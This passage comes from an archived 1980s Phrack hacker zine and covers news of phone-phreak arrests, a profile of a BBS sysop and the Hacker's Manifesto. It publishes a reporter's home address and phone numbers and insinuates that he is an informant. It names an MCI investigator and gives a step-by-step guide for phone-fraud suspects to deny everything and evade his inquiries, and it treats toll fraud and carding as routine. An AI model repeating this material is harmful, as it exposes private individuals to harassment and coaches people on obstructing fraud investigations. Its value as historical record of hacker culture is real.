DULRUU51 Universitaet Ulm, Germany DEC VMS 4 5 DHDURZ2 Universitaets‑Rechenzentrum IBM MVS/SP 2 1.7 DE0WTZ1A Universitaetsklinikum Essen IBM VM/SP R3 CFRUNI52 Universite de Fribourg, Switz DEC VMS 4 6 CFRUNI53 Universite de Fribourg, Switz DEC VMS 4 6 UMTLVR Universite de Montreal VMS V4 6 FRUTRS51 Universite de Tours VAX VMS UQUEBEC Universite du Quebec VM/CMS 3 1 UQHULL Universite Du Quebec A Hull VMS

FRP8V11 Universite Paris 8 VM/SP

CGEUGE51 University de Geneve DEC VMS UNCA205 University of Calgary Cyber VSOS

UDACSVM University of Delaware VM/SP

UDPLATO University of Delaware Off of Instruct. TeNOS

USCN University of Georgia NOS

UHVAX1 University of Houston VMS

UHVAX8 University of Houston VMS

ELROY University of Houston VMS

UHOU University of Houston VMS

UHCL2 University of Houston/CL VMS

UHDVX2 University of Houston/Downtown VMS

UTKVM1 University of Tennessee VM/SP HPO UTOREPAS University of Toronto VM/SP

UTORONTO University of Toronto VM/SP HPO 4 2 UTORMVSB University of Toronto MVS/XA 2 3 UTORVM University of Toronto VM/SP HPO 4 2 UTORMED University of Toronto

UTOROISE University of Toronto OISE VMS

SEUDAC21 Uppsala U Data Ctr IBM MVS/SP 1 3.0 SEMAX51 Uppsala Univ, Sweden DEC VMS

URIMVS URI Academic Computer Center MVS/SP

URIACC URI Academic Computer Center VM/HPO5

NCCIBM1 US EPA MVS/XA‑JES2

USGSRESV US Geological Survey ISD VAX VMS

GROGHE USC ‑ Groghe VMS

USCMVSA USC ‑ System MVSA OS/VS2 MVS/XA

USU Utah State U VMS

UTORCCIE UTORCCIE VM/SP

UVSOL UVic COMP UNIX SUN OS 3 2 UWAFRODO UW Radiation Oncology VMS

UWARITA UW San Diego RUAC VMS

VALPO Valparaiso Univ AOS

VUENGVAX Vanderbilt U Engineering Sch VMS

VUCTRVAX Vanderbilt Univ CC VMS

VUCTRVX1 Vanderbilt Univ CC VMS

VUCTRVX2 Vanderbilt Univ CC VMS

VUHHCL01 Vanderbilt Univ HHCL VMS

VULIBS Vanderbilt Univ Library IBM/DOS

VUHEP Vanderbilt Univ Physics VMS

VANDVM1 Vanderbilt Univ. A&S VM/SP

VANDVMS1 Vanderbilt Univ. Physics VMS

VASPSY Vassar Col Psych and Econ VMS

VASSAR Vassar College VMS

VASCHU Vassar College VMS

VAS780 Vassar College VMS

VILLVM Villanova Univ VM/SP

VUVAXCOM Villanova Univ VMS

VCUMVS Virginia Common U Comp Ctr MVS/SP

VCUVM1 Virginia Common U IBM C.C VM/SP

VCUJADE Virginia Commonwealth Univ VMS

VCURUBY Virginia Commonwealth Univ VMS

VCCSHOST Virginia Community Coll Sys MVS/JES2

VTCS1 Virginia Tech (VPI) VMS

VTMATH Virginia Tech (VPI) VMS

VTME Virginia Tech (VPI) VMS

VTSDA Virginia Tech (VPI) VMS

VTVAX3 Virginia Tech (VPI) VMS

VTVAX5 Virginia Tech (VPI) VMS

VTVM1 Virginia Tech (VPI) VM/SP

VTVM2 Virginia Tech (VPI) VM/SP

VTVM3 Virginia Tech (VPI) VM/SP

VTHCL Virginia Tech (VPI) VMS

VTOPUS Virginia Tech (VPI) ULTRIX‑32 V2 VTCNSVM1 Virginia Tech (VPI) VM/SP

VTCC1 Virginia Tech (VPI) VMS

BBRVKI51 VKI, Rhode‑St‑Genese, Belgium VMS 4 7 VOLCANI Volcani Institute DEC VMS 4 5

FINVTT VTT, Finland DEC VMS 4 6

JPNWAS00 Waseda Univ VM/SP

WSUVM1 Washington State U Comp Ctr VM/SP

WSUVMS2 Washington State Univ ‑ Comp. Srvs Ctr. VMS

WSUMATH Washington State Univ ‑ Math Dept VMS

WSUVMS1 Washington State Univ Comp Serv Ctr VMS

WUNET Washington U St Louis VMS

WUBLUE Washington Univ MUSIC/SP WUGOLD Washington Univ MUSIC/SP WUGREEN Washington Univ MUSIC/SP

WUMS Washington Univ Med Sch VMS

WUVMA Washington University VM/SP

WUVMC Washington University VM/SP

WUVMD Washington University VM/SP

WUVME Washington University VM/SP

WUVMF Washington University VM/SP

HDEDH1 Waterloopkundig Lab , Delft VM/SP 4 WAYNEST1 Wayne State Univ CC VM/SP

WEIZMANN Weizmann Inst Comp Ctr IBM VM/SP HPO R4 2 WISVMS Weizmann Inst Dept of Chem DEC VMS 4 3 WISDOM Weizmann Inst Dept of Math UNIX 4.2 BSD WESLEYAN Wesleyan U Net Gate Comp Ctr VMS

WESLYN Wesleyan University VMS

WCU West Chester Univ of PA VM/HPO

WVNMVS West Virginia Network MVS/XA

WVNVAXA West Virginia Network VMS

WVNVAXB West Virginia Network VMS

WVNVM West Virginia Network VM/SP

WVNSVC West Virginia Network VMS

WVNVMS West Virginia Network VMS

WVNET West Virginia Network VMS

DMSWWU1A Westfael Wilhelms‑U Muenster IBM VM/SP HPO R5 0 DMSWWU2B Westfael Wilhelms‑U Muenster IBM MVS/SP 1 3.5 TWSUVM Wichita State Univ CC VM/SP

WLUCP6 Wilfred Laurier Univ CP‑6

WILLIAMA Williams College CC VMS

WILLIAMB Williams College CC Admin VAX Sys VMS

WILLIAMS Williams College Comp Ctr VMS

DGOWISO1 WISO‑RZ Uni Goettingen,Germany IBM VM/IS R5 WPI Worcester Poly Tech EE ULTRIX

IBRDVM1 World Bank VM/HPO

WSU Wright State Univ VMS

AWIWUW11 WU‑Wien IBM VM/SP HPO R4 2

WVNBSC WVNET ‑ Bluefield St Col VMS

WVNCC WVNET ‑ Concord Col VMS

WVNFSC WVNET ‑ Fairmont St Col VMS

WVNGSC WVNET ‑ Glenville St Col VMS

WVNNCC WVNET ‑ Northern Comm. Col VMS

WVNPCC WVNET ‑ Parkersburg Comm. Col VMS

WVNPSC WVNET ‑ Potomac State Col VMS

WVNSC WVNET ‑ Shepherd Col VMS

WVNSCC WVNET ‑ Southern Comm Col VMS

WVNWLSC WVNET ‑ West Liberty St. Col VMS

WVNWVIT WVNET ‑ West VA Instit of Tech VMS

WVNWVSOM WVNET ‑ West VA Sch of Osteopathic Med VMS

WVNWVSC WVNET ‑ West Virginia St Col VMS

XAVIER Xavier Univ Acad Comp Ctr VMS

YALEMED Yale Med Sch ‑ Biomedical Comp Unit VMS

YALEADS Yale U Admin Data Svcs VM/SP/HPO YALASTRO Yale U Astronomy Dept VMS

YALECS Yale U Comp Sci Dept UNIX

YALEMVS Yale U Computer Ctr MVS/SP

YALEVM Yale U Computer Ctr VM/SP/HPO YALEVMS Yale U Computer Ctr VMS

YALPH2 Yale U HEP2 VMS

YALEHEP Yale U Physics Lab VMS

YALEZEUS Yale Univ Med Sch VMS

TRYILDIZ Yildiz Univ VM/SP R3

YUORION York U Admin Stud Environ Sci VMS

YUSOL York U Comp Sci Fac Sci VMS

YUYETTI York U Comp Sci Research UNIX BSD YULIBRA York U Computing Services VMS

YUVULCAN York U Glendon Coll VMS

YORKVM1 York University VM/SP

YORKVM2 York University VM/SP

YUGEMINI York University VMS

YUVENUS York University VMS

YSUA Youngstown State Univ MVS/SP

YSUB Youngstown State Univ VM/SP

DTUZDV5A ZDV U Tuebingen VMS

DK0ZA1 Zentralarch Sozialfors Koeln VM/SP

CZHRZU1A Zurich U IBM VM/SP

CZHRZU2B Zurich U IBM MVS/SP

PENDING NODES AS OF 10/05/88

TOTAL NODES = 3

Node Site System

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MHC Mount Holyoke Coll ULTRIX

RADFORD Radford Univ AOS/VS

WWU Western Washington Univ BERKELEY UNIX

Phrack World News Part 5

==Phrack Inc.==

Volume One, Issue Six, Phile 13 of 13

‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_

*‑=+^ Phrack World News ^+=‑*

Issue Five/Part 5

Compiled and Written By

Knight Lightning

‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_

Daniel Zigmond: Real Reporter or Freelance FED? May 20, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This article in no way endorses one view over the other, but will try to look at evidence and facts pertaining to both of the above statements.

Daniel Zigmond; Wants to write an article on hackers and phreaks, our general social atmosphere, and our side of the story. He IS a contributing editor on the staff of Amiga World Magazine and he has lived at 6735 Forest Glen Road, Squrill Hill, Penn. and had the phone numbers (412)422‑1979/7515 for at least 3 years. Reportedly he has accounts on ARPAnet, Private Sector, and Byte Magazine BBS.

He has been on several conferences and been talking to several phreaks across the nation. To name a few: Blue Buccaneer, Cap/N/Crax, Compu‑Phreak, Dark Cavalier, Dead Lord, Final Impulse, Holophax Phreaker, Knight Lightning, Ninja NYC, Scan Man, Sigmund Fraud, Slave Driver, The Bootleg, The Clashmaster, The Infiltrator, The Firelord, The Seker, and TUC.

He tapes all his conversations and has tried to get people to call other phreaks on 3‑ways in attempts to gain their phone numbers. He did however make some attempts to help Sigmund Fraud after his near bust (see story in this issue).

There are a few extremely odd things about Mr. Zigmond.

1. He wants everyone to send him their codes, extenders, PBXs, diverters, etc. Even if they no longer work. When asked why, he answered that he needed something to show his boss so he wouldn't be turned down because of what would seem to be a b.s. article.

Why doesn't he just make things up? After all he said that the stuff didn't have to be good. His reply to that was that his boss might check a few. Well if they were dead codes or PBXs or whatever then he would be up the creek anyway.

Ok, forgetting about that for a moment, Zigmond also asked that people photocopy their notebooks and send those copies to him and that he would pay the postage and for the photocopies. This of course means he gets your address and at the very least your township and such (that is if you don't leave a return address) from the postmark.

2. He has refused to give out a phone number to reach him at work or at Amiga World. Furthermore, he doesn't plan to have the article in Amiga World, but rather, he has stated that it would be sold to the Washington Post.

Now I talked with people at the Washington Post and they know nothing about this. I spoke with people in several different areas and turned a blank. They didn't even know who Zigmond was.

This leaves 2 possibilities. He either never really had any intention of submitting this article to them or was just sort of running with the mouth in search of glory and attention.

3. A PBX that Sigmund Fraud had found while hacking in a UNIX was given to Zigmond. It had never been used before, with the exception of a single conference to test it out, and within a week of giving it to Zigmond it was gone.

4. Another biggie is that Zigmond claims that by the time he submits this article in August 1986 (to wherever) that if he gets $900 for it, he would break even. He is saying this from his phone bills and other expenses on the article.

Now only breaking even after all that time, work, and effort seems a bit worthless to me, why would he do it? You know, they say that fed informants get paid very well, not that I am suggesting that Zigmond is a fed informant.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some other stuff that may be interesting to know is that Zigmond insists that he will be getting accounts to Metal Shop Private and Stronghold East when Taran King and Slave Driver have given very strong "no"s. He goes around telling this to people. His phone answering machine gives you less than ten seconds to leave a message, this is perhaps to prevent hacking, but nevertheless annoying.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now please everyone take this file in the way it was intended. This is not saying that Daniel Zigmond is helping the feds, he may be completely interested and wanting to learn about our society. From this I gather that he will learn that in the phreak community we try to protect each other from getting busted and that a reporter like him could literally destroy the phreak world if he was working with the feds and left unquestioned and unchecked.

This article is a warning to all who may contact Zigmond to use your own good judgement in dealing with him. I'm sure that once he answers the questions raised in this article then everything will be alright.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The only other thing I wanted to say is that in general reporters have hurt the phreak/hack world tremendously in the past. They bring too much attention to the phreaks and bring us into the public eye. As a result there has been much more legislation creating news laws against us. Some examples are evident in this very issue of PWN. Blue Buccaneer points out all sorts of things in the new hacking laws article. Remember the new laws about sysops being responsible for the boards? Did you see how that was used in the Teltec busts? It getting incredibly dangerous out there friends, lets try not to make it any worse.

:Knight Lightning

________________________________________

Defeat Richard Proctor In 4 Easy Steps! June 10, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Who is this new investigator Atlanta? What makes him today's newest and possibly greatest threat to the phreak world? The following information concerns an MCI investigator named Richard Proctor, alias; John Proctor.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Richard Proctor, who also introduces himself to others as John Proctor, is one of the various MCI investigators that now lurk the nation. He is in charge of most of MCI's security/investigation divisions, and is in charge of running the southeast, east coast, and northeast MCI Investigations. He has also been involved with phreaks in the midwest and southwest.

I am not sure of the extent of his "jurisdiction," but all users of MCI should be careful no matter where they are located. Holophax Phreaker and The Infiltrator can personally tell you how he runs the MCI Investigations as they have been under investigation twice to date. Holophax Phreaker is currently still under investigation by Proctor and even by his own local Bell Operating Company (BOC).

The first thing most investigators would do when they find an access code has been abused is to wait until it has a large bill to act upon it (which may never happen). This is because it is unprofitable to the long distance service to try to find and prosecute a person who has made less than $500.00 worth of calls (depending on the LD service).

Richard Proctor is a very different case. As soon as he finds an access code is being abused, he will take immediate action. The following is the series of events which will take place once Proctor discovers an abused account.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

In the following steps, "you" are the phreaker in question that was making the calls (heaven forbid). The steps listed are for both "you" and the person(s) receiving the illegally made phone calls.

Step 1: Proctor will personally call *EVERY* destination number on the account and ask for information on who called them on the date(s) the call(s) were made. If it is a bulletin board, he will contact the sysop by voice or if there is no voice number available, he will send one or more investigators from the nearest MCI Investigations Department to question the sysop. He will ask them for information pertaining to the phreaker. Hopefully, your amnesiac friends will somehow forget all about you and be able to tell Proctor nothing.

Step 2: Proctor waits a couple of days, then he again contacts the person(s) that received calls and says that he has found you and that you have told him that the people "you" had been speaking with also made those calls and that the Proctor will bust the person(s) who were called unless they would like to pay for the calls. (If this part pertains to you, that is if you were the one who received calls and Proctor or any agent said this then, at this point you should contact an attorney as this is telephone harassment, a federal crime committed over an interstate communications carrier, and you could sue MCI or whichever company it involved).

Step 3: If some of the person(s) called by you weren't as amnesiac as you would have liked when Proctor spoke to them and then Proctor calls you or your parents, then you should deny everything that Proctor accuses you of, no matter how many people he says turned you in. Proctor will be lying (one hopes) so deny everything.

Step 4: Proctor will call you again in a couple of days and tell you that you have one last chance to turn yourself in. When you say no again, Proctor will try to scare you by telling you that MCI is going to make an example of you and prosecute to the fullest extent. If Proctor does this, then you know he has no evidence on you or at most, circumstantial evidence.

You might get a couple of calls after that. Keep denying it and make sure you drop out of phreaking for approximately 1 1/2 ‑ 2 months. If you get a call from your local phone company then drop out for at least 6 months to a year. They will most likely put a pen register or a DNR on your line.

Proctor has PhDs in Psychology and Criminal Psychology so be very careful! He can't do anything to you if you follow the above guidelines unless he had a trace put on the account you were using. If that is the case, then he will show up at your door arrest you. Your best bet is to stay away from it entirely. Proctor's home phone is unlisted (of course), but his office number can be obtained from any MCI operator.

Information Provided by Holophax Phreaker and The Infiltrator

________________________________________

Quick Notes

‑‑‑‑‑‑‑‑‑‑‑

Stronghold East is now running on a new Apple //e thanks to their friends at

AMEX. They formally ran SE off of a Franklin Ace. May 3, 1986 Most recently the hard drive at SE crashed and until they acquire the new ProDos Apple net, they will be running Phlash‑Net written by Phlash Gordon.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Rumor has it that the Apple Wizard was busted for dealing and using coke.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A guy named the CPTN was busted in Nevada for something pertaining to the Captain Midnight incident. He was also busted for carding and was caught with

illegally obtained modems. Info by Death Angel.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A member of the Underworld Elite, run by Night Stalker, got busted for calling the White House and making a bomb threat. The Secret Service came to his house and they knew he used illegal extenders to make the calls. This user decided to give them the number and his passwords to the Underworld Elite. He was deleted. Info by Night Stalker, 5/11/86...The Underworld (216)356‑9464

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telenet Bob was busted. The full story appeared in the April issue of 2600 Magazine. Nineteen year old from New Jersey. Name Robert Davenport. $500 fine, $890 restitution to AT&T. Info by Sally Ride:::Space Cadet

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bad Boy In Black has given up BBSing and Phreaking (for the most part) so you probably won't be hearing from him again. He claims he has gotten bored of BBSing and have had little time since the summer is rolling around. Therefore, he decided to give it up all together. Info by [bad boy in black] 5/11/86

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Shooting Shark has also left the phreak world for the more or less same reasons plus the fact that he is going to college. Info by Shooting Shark.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Texas, some cop was running a bbs called the Tunnel. No one was busted, but names and handles of those posting illegal codes were collected. The cop has received several death threats.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Slayer was busted on April 25, 1986. Reportedly he was visited by agents from Metrophone, MCI, New Jersey Bell, and the FBI. His bust concerned Metro abuse. The Godfather, in Rhode Island, was also linked to this bust as well and as of now has quite the phreak world, but no further information is available on that. Most recently it has been discovered that the Slayer has been hired as a TSPS operator.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

More news on The Sprinter here; after all was said and done, Sprinter plea bargained (as expected) and plead guilty to the charges. He spent 14 days in jail, has a $2000 fine, 2 years probation, 200 hours community service, and of course those lawyer costs. He at this point has not accepted a job with

MicroSoft. Info by Jester Sluggo.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It has been reported that The Mentor and Crustaceo Mutoid are now writing for a newsletter in California called The Underground Informer.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Arabian Knight was busted for conferencing.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Guardian Demon (215) was apparently busted for Metrophone abuse, but formal charges have not been brought forth.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Jester Sluggo has officially retired from all board calling and is now into straight hacking. He will maintain his contacts in the phreak world. Sysops are asked to remove his accounts.

________________________________________

========================================

7

- Intro/Index by Taran King

- Phrack Pro-Phile of Scan Man by Taran King

- Hacker's Manifesto by The Mentor

- Hacking Chilton's Credimatic by Ryche

- Hacking RSTS Part 1 by The Seker

- How to Make TNT by The Radical Rocker

- Trojan Horses in Unix by Shooting Shark

- Phrack World News VI Part 1 by Knight Lightning

- Phrack World News VI Part 2 by Knight Lightning

- Phrack World News VI Part 3 by Knight Lightning

Intro/Index

==Phrack Inc.==

Volume One, Issue 7, Phile 1 of 10

September 25, 1986

Welcome to Phrack VII. I'm glad to be back to be able to create something like this. It was rather hard from the hospital. Anyway, I'd like to take you aside and talk to those of you who have various misconceptions about Phrack Inc. First off, Phrack Inc. isn't written by myself, Knight Lightning, or Cheap Shades. We merely collect the philes and distribute them in a group. The articles within are the sheer responsibility of the author. If you do not like the philes, talk to the author, not any of us, unless it says in the phile that we wrote it, please.

Phrack World News is merely a sub‑article of Phrack Inc. and it is written by Knight Lightning. He is to be addressed for all comments about his ever‑controversial PWN, and we'd appreciate it if you'd not condemn the whole publication just for a few articles.

Anyone can write for Phrack Inc. now. If you have an article you'd like published or a story for Phrack World News, get in touch with one of us (Knight Lightning, Taran King, and Cheap Shades) and as long as it fits the guidelines, it should make it in. If you have been one of the many ragging on Phrack Inc., please, write a phile and see if you can improve our status with your help. Thanks for your time. Later on.

Taran King

Sysop of Metal Shop Private

Featured in this Phrack Inc.:

1 Intro/Index by Taran King (2175 bytes)

2 Phrack Pro‑Phile of Scan Man by Taran King (7133 bytes)

3 Hacker's Manifesto by The Mentor (3561 bytes)

4 Hacking Chilton's Credimatic by Ryche (7758 bytes)

5 Hacking RSTS Part 1 by The Seker (11701 bytes)

6 How to Make TNT by The Radical Rocker (2257 bytes)

7 Trojan Horses in Unix by Shooting Shark (12531 bytes)

8 Phrack World News VI Part 1 by Knight Lightning (15362 bytes)

9 Phrack World News VI Part 2 by Knight Lightning (16622 bytes) 10 Phrack World News VI Part 3 by Knight Lightning (16573 bytes)

Phrack Pro-Phile of Scan Man

==Phrack Inc.==

Volume One, Issue 7, Phile 2 of 10

==Phrack Pro‑Phile IV==

Written and Created by Taran King

June 28, 1986

Welcome to Phrack Pro‑Phile IV. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you one of the most influential users of our times and of days of old...

Scan Man

~~~~~

Scan Man is the sysop of Pirate 80 (P‑80), a telcom enthusiasts' bulletin board in Charleston, West Virginia (304).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Scan Man

Call him: Scan Man

Past handles: None

Handle origin: Thought it up while writing a scanning program. Date of Birth: 8/30/53

Age at current date: 32 years old

Height: 6'1

Weight: About 225 lbs.

Eye color: Green

Hair Color: Dark Blond to Light Brown Computers: 2 TRS Model I's (one of which the BBS is run on), Tandy Model 1000 (IBM Compatible), a 132 Column Dot Matrix, a 132 Column Daisy Wheel, a Model 100 Portable, a TRS Color Computer, and a backup 80 Column Dot Matrix Printer. Sysop/Co‑Sysop of: Pirate 80 (P‑80)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Scan Man started out in the BBS world about 7 years ago when he first got his modem, a 300 Baud Auto‑Answer/Auto‑Dial Micro‑Connection Modem (made by Micro Peripheral Corp.) with tape input and output. Pirate 80 went up 4 years ago this Halloween, which consisted of a TRS Model 1, 3 40 track, single sided, double density floppies, and a 300 baud modem (which held up until 6 months ago).

At the time of arising, the board was put up for interests in phreaking, hacking, as well as pirating. Within the first 6 months to now, Scan Man had gone through 6 BBS programs, and is quite satisfied with the current one.

First, he started with a pirated version of TBBS 1.2, then an upgrade to 1.3, pirated again (occurred and at the same time a hard drive was added after a number of disk drive changes and modifications). Scan Man, through his BBS (which was in the first 5 all phreak/hack BBS's to ever go up, and is the oldest phreak board in the country), has met or talked to what he considers "anybody who is anybody".

At 11 years old, he found a few old phones, took them apart, and got them working, which was when his interest in telecom arose. He was led into the phreak world when he became aware that he could phreak (articles he read such as blue box articles). At the time, BBS's and personal computers did not exist at this time.

The first board he called that involved phreaking was the old Pirate's Harbor. An anonymous message posted there had a few alternate long distance service codes posted. He was very excited that he had stumbled upon this thrill and he spent the first year or so calling around finding exactly what everyone was into and from there forward he started manufacturing various devices with The Researcher. They worked together and learned together.

Because so much information posted was inaccurate, they did this to make it accurate and found out what was the real stories. The more memorable phreak boards that he was on included Plovernet, (and all pre‑Plovernet), L.O.D., AT&T Phone Center, Pirates of Puget Sound, as well as a few others which he couldn't remember offhand because it was so long ago.

Scan Man's works as a computer consultant (systems analyst). He checks security as well as enhancements, improvements, and debugging. He's been doing this for about a year now.

Scan Man's hack/phreak interests are unknown to his employers. He has attended various things including sneaking into a seminar on the DMS‑250 Digital Switching System, and before that, TelePub'86, and he's sneaked into other various telcom/computer security seminars. He starts one project at a time and does things step by step. He's very concentrated in his projects.

Scan Man frowns upon groups and says, "If you're any damn good at all, you're going to get a reputation whether you like it or not."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Interests: Telecommunications (modeming, phreaking, hacking, satellite scanning), white water rafting, snow skiing, dancing (he used to be a roller skating dance/disco instructor), and boating.

Scan Man's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Foods: Junk food, or an expensive restaurant once a week or so. Movies: He's a movie buff, and goes regularly, by himself even. Animals: He's an animal lover.

Pyrotechnics: They manufacture various fireworks as a hobby.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Newsweek Incident with Richard Sandza.

Last year's New Years' Phreak Party.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Researcher (for helping him out in starting out with phreak/hacking.) The Coco Wizard (helped a lot with the BBS and the hardware on the computer.) King Blotto, Mr. Gucci, and The Scanner (people he could do without.)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Scan Man dislikes the bickering and fighting between the phone phreaks of modern day because they're just fighting to climb the social ladder. He dislikes the current phone phreaks because they're not in it to learn, and are only in it to gain a big reputation. The old phreaks were those that wanted to be there because they were a student of the network and had a true desire to learn. It's become an ego/power‑trip of the modern teenage America. They're only in it to impress other people, and write philes just to get the reputation, rather than to write it for the information in it, and collect them only to say their collection is sizable. He feels that credit cards are voodoo because it seems to be what people and sysops get busted for the most.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? 90% of the phreaks, yes. 10% or less are in it to learn. He respects that small percentage. Thank you for your time, Scan Man.

Taran King

Sysop of Metal Shop Private

Hacker's Manifesto

==Phrack Inc.==

Volume One, Issue 7, Phile 3 of 10

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The following was written shortly after my arrest...

\/\The Conscience of a Hacker/\/

by

+++The Mentor+++

Written on January 8, 1986

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.

But did you, in your three‑piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world...

Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me...

Damn underachiever. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me...

Or thinks I'm a smart ass...

Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.

And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day‑to‑day incompetencies is sought... a board is found.

"This is it... this is where I belong..."

I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon‑fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre‑chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt‑cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

+++The Mentor+++

Hacking Chilton's Credimatic

==Phrack Inc.==

Volume One, Issue 7, Phile 4 of 10

‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>\|

‑=:> Hacking The <:=‑

‑=:> Chilton Corporation Credimatic <:=‑

‑=:] By: Ryche [:=

‑=:} Written on June 24, 1986 {:=‑

‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>\|

